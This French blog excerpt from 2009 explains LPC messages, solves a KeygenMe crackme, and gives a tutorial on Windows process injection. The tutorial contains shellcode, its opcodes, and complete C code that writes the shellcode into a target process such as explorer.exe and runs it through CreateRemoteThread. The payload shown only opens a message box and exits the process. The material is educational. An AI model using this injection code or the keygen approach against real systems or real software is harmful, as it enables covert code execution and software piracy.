IN PLPC_MESSAGE Request,
OUT PLPC_MESSAGE IncomingReply );


L'argument supplémentaire contiendra la réponse du serveur.

On code



Pourquoi ne pas passer à la pratique, après un brin de théorie ? Certes, je ne vais pas vous apprendre à faire de "privilege escalation" (j'ai lu qu'on pouvait faire ça via les messages LPC). J'ai déjà assez bataillé pour faire marcher mes codes.

L'affichage du blog étant pourri, je me résignerai à mettre des urls pour que vous puissiez accéder aux sources. Tout est disponible ici.

Conclusion



Le domaine des messages LPC est très vaste ; un domaine que je ne maîtrise pas mais qui m'intéresse, ce pourquoi j'en parle.

Je remercie Ivanlef0u pour avoir usé de son temps afin de me sauver la mise ; sans lui, rien de tout cela ne fonctionnerait. Merci également à 0vercl0k (je le cite au moins une fois par article, c'est fou) pour m'avoir boosté.

Références :
- http://www.zezula.net/en/prog/lpc.html : communications LCP ;
- Local Procedure Call - Wikipédia

A très bientôt.

Geo

mercredi 12 août 2009

KeygenMe - Solution

En dix jours, vous étiez très peu à avoir tenté de réaliser un keygen pour ce challenge : http://geo0w.blogspot.com/2009/08/challenge-keygenme.html. Et il n'y a eu qu'une personne pour avoir proposé une solution. Un grand bravo à Baboon. Quant à 0vercl0k, il n'était pas loin de la solution non plus.

Voici le lien du keygen de Baboon (avec beaucoup d'humour) : http://venom630.free.fr/geo/blog/keygenme/keygen_baboon.rar.

De plus, l'explication de Baboon est tellement claire que je préfère vous la diffuser :
Je suis content que mon keygen t'ai plu ;)

pour la génération de la clef je me base sur la clef intermédiaire qui permet le calcul du "hash" de fin mais aussi les caractères du serial en effet on a :

(pour simplifier quand j'écrit serial, ca correspond en fait à l'indice de correspondance de la lettre du serial dans le tableau "246789BCDEFGHJKMNPRTVWXZ")

nibbles[i] = (serial[i] * 24 + serial[i+1]) >> 4
et
nibbles[i+1] = (serial[i] * 24 + serial[i+1]) & 0xFF

de plus le bit n° i/2 de la var globale 00404010 est set si on a serial[i] * 24 + serial[i+1] > 0xFF

donc pour générer un serial il suffit de :
génèrer 16 nibbles (int <= 0xF) de faire le hash de ces nibbles & 0xFF => on obtient le résultat que doit valoir la var globale en 0x404010

ensuite pour générer les chars du sérial il suffit de faire :
a = nibbles[i] << 4 | nibbles[i+1]

serial[i] = a / 24 si le bit i/2 n'est pas set dans le hash sinon a + 0x100 / 24
et
serial[i+1] = a % 24 si le bit i/2 n'est pas set dans le hash sinon a + 0x100 % 24

comme ca on a bien l'égalité
nibbles[i] = serial[i] * 24 + serial[i+1] >> 4
et
nibbles[i+1] = serial[i] * 24 + serial[i+1] & 0xFF
et le bit est bien set quand il faut

voila voila, je ne sais pas si c'est clair ;)


Pour ma part, je me contentais de faire un brute-forcing sur les 4 derniers digits du keygen jusqu'à générer une clef valide - les premiers étant générés aléatoirement. Baboon nous a donc tous mis au tapis.

Désolé pour ceux qui n'ont pas eu le temps de résoudre l'épreuve. Elle est toujours disponible ici : http://venom630.free.fr/geo/blog/keygenme/keygenme.exe.

A+

Geo

Injection de shellcode dans un processus cible

En lisant un vieux billet d'0vercl0k, je me suis dit que je pourrais moi-même tenter de faire un truc que je n'ai jamais fait : injecter un shellcode dans un processus cible. J'entends par processus cible un processus déjà existant, comme explorer (qui tourne - logiquement - toujours lorsqu'une session windows est activée) ou notepad.

On va essayer d'étudier tout ça pas à pas. D'abord, on va concevoir un shellcode qui fera appel à la fonction MessageBox(), puis, après l'avoir convenablement testé, on l'injectera dans un processus au choix.

Ce shellcode sera injecté dans un "thread" nouvellement créé dans le processus ciblé. On aura donc notre shellcode qui s'exécutera en parallèle avec les autres instructions "normales" du processus.

/!\ Je vais sauter pas mal de concepts dans cet article. Effectivement, je ne parlerai pas de "comment trouver l'adresse d'une fonction dans une DLL" et j'en passe. Cependant, je fournirai tous les outils nécessaires + résumés des codes sources à la fin de l'article.

I] Le shellcode


La structure du shellcode se divise en trois étape :


Voici ce que j'ai pondu sous masm32 :
.386
.model flat, stdcall
option casemap: none

.code
start: jmp DllUser32
suite: mov edx, [esp]
mov [edx+10], al
mov edi, 7c801d77h ; adresse de LoadLibraryA
call edi
xor eax, eax
push eax
jmp TitreMsgBox
suite2: mov edx, [esp]
xor eax, eax
mov [edx+11], al
jmp MsgMsgBox
suite3: mov edx, [esp]
xor eax, eax
mov [edx+14], al
push eax
mov edi, 77d5050bh ; adresse de MessageBoxA
call edi
xor eax, eax
push eax
mov edi, 7c81cdeah ; adresse de ExitProcess
call edi

DllUser32: call suite
DllName db "user32.dll",255

TitreMsgBox: call suite2
Titre db "Successful!",255
MsgMsgBox: call suite3
Message db "Code injecté !",255
end start


J'utilise la fameuse ruse du call pour empiler les chaînes de caractères correspondants aux arguments de la fonction à appeler.

La fonction MessageBox(), comme le décrit la MSDN, comprend 4 arguments. Le premier et le dernier ne nous intéressent pas particulièrement ; on se contentera juste de donner un titre et un texte à la boîte de message.

Bref, on traduit la source assembleur en opcodes et on a :
\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF\x77\x1D\x80\x7C\xFF\xD7
\x33\xC0\x50\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42\x0B\xEB\x3B\x8B\x14\x24\x33\xC0
\x88\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C\xFF
\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF\xE8\xC7\xFF
\xFF\xFF\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8\xC0\xFF\xFF\xFF\x43
\x6F\x64\x65\x20\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF


II] Le processus


La partie que je maîtrise le moins, puisque je la découvre. On va devoir faire un "exploit" (si je puis me permettre d'utiliser un tel terme) qui va ouvrir le processus courant via OpenProcess() (http://msdn.microsoft.com/en-us/library/ms684320(VS.85).aspx). Ensuite, il va falloir réserver de la mémoire dans le processus courant. Comme un malloc(), si vous voulez. La taille de la mémoire sera égale à la taille de notre shellcode. On fera ça avec la fonction VirtualAllocEx() (http://msdn2.microsoft.com/en-us/library/aa366890.aspx).
Dans cette mémoire allouée dynamiquement, on y écrira notre shellcode. L'API Win32 nous fournit une fonction qui le permet : WriteProcessMemory() http://msdn.microsoft.com/en-us/library/ms681674(VS.85).aspx).
Ensuite, on créé un Thread qui va exécuter la fonction qui correspond à notre shellcode : CreateRemoteThread() (http://msdn2.microsoft.com/en-us/library/ms682437.aspx).

On aura aussi besoin d'autres fonctions pour libérer la mémoire et cie.

Concernant les processus, ils sont identifiés par ce qu'on appelle les "PID" (process identifier). Effectivement, il se peut qu'il y ait, sur une machine, deux instances notepad qui sont en route. Les processus ont le même nom, mais pas le même PID.

Il faudra donc se servir d'une fonction qui retournera le PID du processus en fonction de son nom. Pour cela, on fera une boucle qui parcourra nos processus jusqu'à ce que le nom soit exact.

Voici le code d'0vercl0k que j'ai un peu retapé, avec mon shellcode :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

long ProcessNameToPid(char* process);
int InjectShellcodeIntoProcess(DWORD PidProcess);

int main(int argc ,char** argv)
{
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(-1);
}
if(InjectShellcodeIntoProcess( ProcessNameToPid(argv[1]) ) ) {
printf("Injection reussie !\n");
} else {
printf("Injection echouee... Peut-etre que le processus n'existe pas ?\n");
}
return 0;
}

long ProcessNameToPid(char* process)
{
// snapshot qui servira à "photographier" les processus,
// recueillir leurs informations, quoi.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 structprocsnapshot = {0};

// On initialise dwSize, sans quoi on ne pourra lister aucun processus
structprocsnapshot.dwSize = sizeof(PROCESSENTRY32);

if(snapshot == INVALID_HANDLE_VALUE) return 0;
// Process32First trouve le premier processus
if(Process32First(snapshot,&structprocsnapshot) == FALSE) return 0;

// Tant qu'il y a des processus à lister
while(Process32Next(snapshot,&structprocsnapshot) )
{
// On a trouvé notre processus ? On retourne son PID
if(!strcmp(structprocsnapshot.szExeFile,process))
{
CloseHandle(snapshot);
return structprocsnapshot.th32ProcessID;
}
}
CloseHandle(snapshot);
return 0;
}

int InjectShellcodeIntoProcess(DWORD PidProcess)
{
char sh[] =
"\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF"
"\x77\x1D\x80\x7C\xFF\xD7\x33\xC0\x50"
"\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42"
"\x0B\xEB\x3B\x8B\x14\x24\x33\xC0\x88"
"\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF"
"\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C"
"\xFF\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73"
"\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF"
"\xE8\xC7\xFF\xFF\xFF\x53\x75\x63\x63"
"\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8"
"\xC0\xFF\xFF\xFF\x43\x6F\x64\x65\x20"
"\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF";

long tailleStringSh = strlen(sh);

// On ouvre le processus via OpenProcess
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE , PidProcess);
// Le processus n'existe pas ? On retourne 0
if(handleProcess == NULL)return 0;

// Reservation et écriture dans la mémoire du processus via VirtualAllocEx
LPVOID addrEspaceReserve = VirtualAllocEx( handleProcess , NULL , tailleStringSh , MEM_COMMIT , PAGE_EXECUTE_READWRITE);
// Erreur ? On retourne 0
if(addrEspaceReserve == NULL)
return 0;

// VirtualAllocEx a retourné un pointeur sur notre zone. On s'en sert
// pour y écrire dedans via WriteProcessMemory
int retourFonctionWrite = WriteProcessMemory( handleProcess , addrEspaceReserve , sh , tailleStringSh , 0);
// Erreur ? On retourne 0
if(retourFonctionWrite == 0)
return 0;

// On créé le thread
DWORD identificateurThread ;
HANDLE retourFonctionCreate = CreateRemoteThread( handleProcess , NULL , 0 , (LPTHREAD_START_ROUTINE)addrEspaceReserve , NULL , 0 , &identificateurThread ); // CreateRemoteThread() -> http://msdn2.microsoft.com/en-us/library/ms682437.aspx.
if(retourFonctionCreate == NULL)
return 0;

// Boucle qui va attendre qu'il y ait des interactions entre le processus
// et l'environnement
WaitForSingleObject(retourFonctionCreate,INFINITE);

// On libère la mémoire allouée
VirtualFreeEx( handleProcess , addrEspaceReserve , 0 , MEM_DECOMMIT);

// On ferme nos handles
CloseHandle(handleProcess);
CloseHandle(retourFonctionCreate);
return 1;
}


Le code propre est disponible ici : http://venom630.free.fr/geo/blog/injshproc/injectcodeintoprocess.html

A noter que si vous cliquez sur "OK" de la boîte de message, vous provoquez un ExitProcess(). Donc le processus se ferme. Essayez sur explorer.exe, ça peut-être marrant.

Conclusion


Vous êtes - normalement - capable d'injecter du code dans un processus lointain. Pour bien tout comprendre, la MSDN est à consulter, et le vocabulaire est à comprendre (threads, snapshots, ... ...).

Vous pourrez trouver tous les outils/sources qui se réfèrent à l'article ici : http://venom630.free.fr/geo/?path=blog/injshproc.

Merci à 0vercl0k pour m'avoir permis de faire cet article.

Geo